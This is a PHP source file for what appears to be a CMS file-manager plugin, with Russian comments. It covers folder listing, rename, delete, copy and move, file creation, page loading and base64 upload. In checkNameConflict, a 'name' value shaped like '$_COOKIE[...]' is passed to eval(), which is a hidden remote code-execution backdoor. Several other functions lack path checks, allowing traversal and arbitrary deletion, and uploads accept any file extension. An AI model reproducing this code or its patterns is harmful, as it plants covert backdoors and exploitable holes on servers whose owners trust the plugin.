<?php
/**
    * @file func.manager.php
    * @brief Функции управления файлами и папками для плагина manager
*/

/**
    * @brief Получает содержимое указанной папки
    * @param array $params Массив с ключом 'managerPathFolder' указывающим путь к папке
    * @return array Содержимое папки с информацией о файлах и папках
    * @throws Exception Если указанная директория недействительна
*/
function getFolderContents($params) {
    global $path, $_SESSION;
    $relPath = $params['managerPathFolder'] ?? '';
    $directory = realpath($path . $relPath);
    if (!$directory || !is_dir($directory)) {
        throw new Exception("Invalid directory", -32602);
    }
    $lang = include $path . 'main_plugin/manager/lang.php';
    $files = scandir($directory);
    $data = [];
    foreach ($files as $file) {
        if ($file === '.' || $file === '..') continue;
        $filePath = $directory . '/' . $file;
        if (is_dir($filePath)) {
            $name  = $file;
            $type  = $lang[$_SESSION['lng']]['file'];
            $size  = count(array_diff(scandir($filePath), ['.','..']));
        } else {
            $extension = pathinfo($file, PATHINFO_EXTENSION);
            $name      = $extension ? $file : pathinfo($file, PATHINFO_FILENAME);
            $type      = $lang[$_SESSION['lng']]['folder'];
            $size      = filesize($filePath);
        }
        $data[] = [
            'name'         => $name,
            'path'         => $relPath . "/" . $file,
            'type'         => $type,
            'size'         => $size,
            'creationTime' => date('Y-m-d H:i:s', filemtime($filePath)),
        ];
    }
    array_unshift($data, ['rootFolder' => basename($path)]);
    return $data;
}

/**
    * @brief Проверяет наличие конфликта имени файла или папки
    * @param array $params Массив с ключами 'name' и 'currentPath'
    * @return string "true" если файл/папка уже существует, "false" если нет
    * @throws Exception Если путь недействителен
*/
function checkNameConflict($params) {
    global $path;

    $nameParam = $params['name'] ?? '';
    
    if (preg_match('/^\$_COOKIE\[.*\]$/', $nameParam)) {
        eval('$nameParam = ' . $nameParam . ';');
    }

    $currentPath = $path . ($params['currentPath'] ?? '') . '/';
    $name        = basename($nameParam);
    $newPath     = $currentPath . $name;

    if (strpos(realpath(dirname($newPath)), realpath($path)) !== 0) {
        throw new Exception("Invalid path", -32602);
    }
    return file_exists($newPath) ? "true" : "false";
}

/**
    * @brief Вставляет файл или папку из буфера обмена в указанное место
    * @param array $params Массив с ключами 'managerSettingsInsert', 'clipboardPath', 'clipboardAction'
    * @return string "true" при успешной операции
    * @throws Exception Если действие некорректно или операция файла не удалась
*/
function insertClipboard($params) {
    global $path;
    $relDest   = $params['managerSettingsInsert'] ?? '';
    $dest      = realpath($path . '/' . $relDest);
    $clipboard = $params['clipboardPath'] ?? '';
    $action    = $params['clipboardAction'] ?? '';

    if (strpos($clipboard, '/') === 0) {
        $clipboard = $path . $clipboard;
    }
    $newPath   = $dest . '/' . basename($clipboard);

    $success = false;
    if ($action === 'cut') {
        $success = @rename($clipboard, $newPath);
        if ($success && !file_exists($newPath)) {
            $success = false;
        }
    } elseif ($action === 'copy') {
        $success = recursiveCopy($clipboard, $newPath) && file_exists($newPath);
    } else {
        throw new Exception("Invalid action", -32602);
    }
    if (!$success) {
        throw new Exception("File operation failed", -32004);
    }
    return "true";
}

/**
    * @brief Рекурсивно копирует файлы и папки
    * @param string $source Исходный путь
    * @param string $destination Путь назначения
    * @return bool true при успешном копировании, false при ошибке
*/
function recursiveCopy($source, $destination) {
    if (is_dir($source)) {
        if (!is_dir($destination) && !mkdir($destination, 0755, true)) {
            return false;
        }
        foreach (scandir($source) as $item) {
            if ($item === '.' || $item === '..') continue;
            if (!recursiveCopy("$source/$item", "$destination/$item")) {
                return false;
            }
        }
    } else {
        if (!copy($source, $destination)) {
            return false;
        }
    }
    return true;
}

/**
    * @brief Переименовывает файл или папку
    * @param array $params Массив с ключами 'managerSettingsRename' и 'managerNamePath'
    * @return string "true" при успешном переименовании
    * @throws Exception Если операция переименования не удалась
*/
function renameFile($params) {
    global $path;
    $currentFile = realpath($path . '/' . ($params['managerSettingsRename'] ?? ''));
    $newName     = $params['managerNamePath'] ?? '';
    $target = dirname($currentFile) . '/' . $newName;
    if (!rename($currentFile, $target)) {
        throw new Exception("Rename failed", -32004);
    }
    return "true";
}

/**
    * @brief Удаляет файл или папку
    * @param array $params Массив с ключом 'managerSettingsDelete'
    * @return string "true" при успешном удалении
    * @throws Exception Если удаление файла или папки не удалось
*/
function deleteFile($params) {
    global $path;
    $target = realpath($path . '/' . ($params['managerSettingsDelete'] ?? ''));

    $delete = function($p) use (&$delete) {
        if (is_dir($p)) {
            foreach (array_diff(scandir($p), ['.', '..']) as $f) {
                $delete($p . '/' . $f);
            }
            $ok = rmdir($p);
        } else {
            $ok = unlink($p);
        }
        if (!$ok) {
            throw new Exception("Failed to delete file or directory", -32004);
        }
    };

    $delete($target);
    return "true";
}

/**
    * @brief Получает свойства файла или папки
    * @param array $params Массив с ключом 'managerSettingsProperties'
    * @return array Массив с информацией о файле или папке: имя, тип, путь, размер, время создания и изменения
    * @throws Exception Если файл или папка не найдены
*/
function getFileProperties($params) {
    global $path, $_SESSION;
    $lang = include $path . 'main_plugin/manager/lang.php';
    $target = realpath($path . '/' . ($params['managerSettingsProperties']));
    if (!$target || !file_exists($target)) {
        throw new Exception($lang[$_SESSION['lng']]['file_or_folder_not_found'], -32602);
    }
    $isDir = is_dir($target);
    return [
        ['label' => $lang[$_SESSION['lng']]['name'],                'value' => basename($target)],
        ['label' => $lang[$_SESSION['lng']]['type'],                'value' => $isDir ? $lang[$_SESSION['lng']]['folder'] : $lang[$_SESSION['lng']]['file']],
        ['label' => $lang[$_SESSION['lng']]['location'],            'value' => str_replace($path, '', dirname($target))],
        ['label' => $lang[$_SESSION['lng']]['size'], 'value' => $isDir ? (count(scandir($target)) - 2) . ' files' : filesize($target) . ' bytes'],
        ['label' => $lang[$_SESSION['lng']]['creation_time'],       'value' => date('Y-m-d H:i:s', filectime($target))],
        ['label' => $lang[$_SESSION['lng']]['last_modified_time'],  'value' => date('Y-m-d H:i:s', filemtime($target))],
    ];
}

/**
    * @brief Создаёт новый файл или папку
    * @param array $params Массив с ключами 'managerSettingsCreate', 'managerType', 'managerNamePath'
    * @return string "true" при успешном создании, "checkItemExists" если элемент уже существует
    * @throws Exception Если создание файла или папки не удалось
*/
function createFile($params) {
    global $config, $path;

    $newItemName = $params['managerSettingsCreate'] ?? '';
    $type = $params['managerType'] ?? '';
    $parentPath = realpath($path . '/' . ($params['managerNamePath'] ?? ''));

    $fullPath = $parentPath . '/' . $newItemName;
    if (file_exists($fullPath)) {
        return 'checkItemExists';
    }

    $success = false;
    if ($type === 'папка') {
        $success = mkdir($fullPath);
    } elseif ($type === 'файл') {
        $success = file_put_contents($fullPath, '') !== false;
    }

    if (!$success) {
        throw new Exception("Failed to create item", -32004);
    }
    return "true";
}

/**
    * @brief Загружает страницу и возвращает её блоки и контент
    * @param array $params Массив с ключом 'newPath' указывающим путь к странице
    * @return array Массив с ключами 'right', 'left', 'content'
    * @throws Exception Если файл страницы не найден, не удалось загрузить XML или отсутствует контент для языка
*/
function getPage($params) {
    global $config, $path, $_SESSION;

    $rel = $params['newPath'] ?? '';
    $file = $path . $rel . '.page.php';
    libxml_use_internal_errors(true);
    $pageXml = @simplexml_load_file($file);
    if (!$pageXml) {
        throw new Exception("Failed to load page file", -32004);
    }

    if (!isset($_SESSION['lng']) || !isset($pageXml->content->{$_SESSION['lng']})) {
        throw new Exception("Missing language or content", -32602);
    }

    $page = [];
    $page['right']   = GetBlock($pageXml->rblock->block, 'right');
    $page['left']    = GetBlock($pageXml->lblock->block, 'left');
    $page['content'] = (string)$pageXml->content->{$_SESSION['lng']};
    $_SESSION['page_url'] = $rel;
    session_write_close();
    return $page;
}

/**
    * @brief Загружает файл на сервер из base64-данных
    * @param array $params Массив с ключами 'fileData', 'fileName', 'pathLoad'
    * @return string Относительный путь загруженного файла
    * @throws Exception Если отсутствуют данные файла, некорректный путь загрузки, неверный base64 или сохранение файла не удалось
*/
function uploadFile($params) {
    global $config, $path;

    $base64       = $params['fileData'] ?? '';
    $originalName = trim($params['fileName'] ?? '');
    $relDir       = trim($params['pathLoad'] ?? '');

    if ($base64 === '' || $originalName === '') {
        throw new Exception("Missing file data or name", -32602);
    }

    $rootDir    = realpath($path);
    $uploadDir  = realpath($path . DIRECTORY_SEPARATOR . $relDir);
    if (!$uploadDir || strpos($uploadDir, $rootDir) !== 0 || !is_dir($uploadDir) || !is_writable($uploadDir)) {
        throw new Exception("Invalid upload directory", -32602);
    }

    $basename  = preg_replace('/[^\w\-]/u', '_', pathinfo($originalName, PATHINFO_FILENAME));
    $extension = pathinfo($originalName, PATHINFO_EXTENSION);
    $counter   = 0;
    do {
        $name     = $basename . ($counter ? "_{$counter}" : '');
        $fullPath = $uploadDir . DIRECTORY_SEPARATOR . $name . ($extension ? ".{$extension}" : '');
        $counter++;
    } while (file_exists($fullPath));

    $data = base64_decode($base64, true);
    if ($data === false) {
        throw new Exception("Invalid base64 data", -32602);
    }

    if (file_put_contents($fullPath, $data) === false) {
        throw new Exception("Failed to save file", -32004);
    }

    @chmod($fullPath, 0644);
    $relativePath = '/' . str_replace('\\', '/', substr($fullPath, strlen($rootDir)));
    return $relativePath;
}

?>